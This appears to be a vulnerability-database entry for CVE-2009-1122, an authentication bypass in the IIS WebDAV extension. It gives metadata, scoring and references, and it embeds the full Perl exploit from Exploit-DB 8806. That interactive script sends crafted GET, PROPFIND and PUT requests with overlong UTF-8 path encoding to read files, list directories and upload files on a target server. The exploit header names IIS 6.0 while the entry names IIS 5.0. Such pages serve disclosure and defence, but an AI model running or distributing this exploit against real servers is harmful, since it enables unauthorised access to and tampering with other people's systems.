CVE-2009-1122 : Detail

CVE-2009-1122

Authorization problems
A07-Identif. and Authent. Fail
16.12%V3
Network
2009-06-10
16h00 +00:00
2018-10-12
17h57 +00:00
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CVE Descriptions

The WebDAV extension in Microsoft Internet Information Services (IIS) 5.0 on Windows 2000 SP4 does not properly decode URLs, which allows remote attackers to bypass authentication, and possibly read or create files, via a crafted HTTP request, aka "IIS 5.0 WebDAV Authentication Bypass Vulnerability," a different vulnerability than CVE-2009-1535.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-287 Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 8806

Publication date : 2009-05-25 22h00 +00:00
Author : ka0x
EDB Verified : Yes

#!/usr/bin/perl -W # # Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit # written by ka0x <ka0x01[alt+64]gmail.com> # Advisory: http://www.milw0rm.com/exploits/8765 # # Greets: an0de, Piker, xarnuz, NullWave07, Pepelux, k0rde, JoSs, Trancek and others! use IO::Socket ; my ( $host, $path ) = @ARGV ; my $port = 80 ; # webserver port &usage unless $ARGV[1] ; $host =~ s/http:\/\/// if($host =~ /^http:\/\//i) ; $path =~ s/\/// if(substr($path, 0,1) eq '/'); sub _file { $file = shift ; open(FILE, $file) || die "[-] ERROR: ".$!,"\n" ; while( <FILE> ){ $cont .= $_ ; } close(FILE) ; return $cont ; } print "write 'help' for get help list\n"; while( 1 ) { my $sock = IO::Socket::INET->new (PeerAddr => $host, PeerPort => $port, Proto => 'tcp') || die "\n[-] ERROR: ".$!,"\n" ; print "\$> "; chomp( my $option = <STDIN> ) ; last if $option eq 'quit' ; if($option eq 'source') { $path =~ s/\//%c0%af\// ; print $sock "GET /".$path." HTTP/1.1\r\n" ; print $sock "Translate: f\r\n" ; print $sock "Host: ".$host."\r\n" ; print $sock "Connection: close\r\n\r\n" ; while(<$sock>){ print $_ ; } close($sock) ; } elsif($option eq 'path') { $path =~ s/\//%c0%af\// ; print $sock "PROPFIND /".$path." HTTP/1.1\r\n" ; print $sock "Host: ".$host."\r\n" ; print $sock "Connection:close\r\n" ; print $sock 'Content-Type: text/xml; charset="utf-8"'."\r\n" ; print $sock "Content-Length: 0\r\n\r\n" ; print $sock '<?xml version="1.0" encoding="utf-8"?><D:propfind xmlns:D="DAV:"><D:prop xmlns:R="http://www.foo.bar/boxschema/"><R:bigbox/><R:author/><R:DingALing/><R:Random/></D:prop></D:propfind>' ; while(<$sock>){ print $_ ; } close($sock) ; } elsif($option eq 'put') { $path =~ s/\//%c0%af\// ; print "[*] Insert a local file (ex: /root/file.txt): " ; chomp( $local = <STDIN> ) ; $file_l = _file( $local ) ; print $sock "PUT /".$path."my_file.txt HTTP/1.1\r\n" ; print $sock "Host: ".$host."\r\n" ; print $sock 'Content-Type: text/xml; charset="utf-8"'."\r\n" ; print $sock "Connection:close\r\n" ; print $sock "Content-Length: ".length($file_l)."\r\n\r\n" ; print $sock $file_l,"\r\n" ; while(<$sock>){ print $_ ; } close($sock) ; } elsif($option eq 'help') { print "\n\t\t- OPTIONS -\n\n\n" ; print "\thelp\t\tgive this help list\n" ; print "\tsource\t\tget file content\n" ; print "\tpath\t\tget directory contents\n" ; print "\tput\t\tput file\n" ; print "\tquit\t\texit exploit\n\n" ; } } sub usage { print << 'EOH' ; $ Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit $ written by ka0x <ka0x01[at]gmail.com> $ 25/05/2009 usage: perl $0 <host> <path> example: perl $0 localhost dir/ perl $0 localhost dir/file.txt EOH exit; } __END__ # milw0rm.com [2009-05-26]

Products Mentioned

Configuraton 0

Microsoft>>Internet_information_services >> Version 5.0

Microsoft>>Windows_2000 >> Version -

References

http://www.securitytracker.com/id?1022358
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/35232
Tags : vdb-entry, x_refsource_BID
http://www.us-cert.gov/cas/techalerts/TA09-160A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.vupen.com/english/advisories/2009/1539
Tags : vdb-entry, x_refsource_VUPEN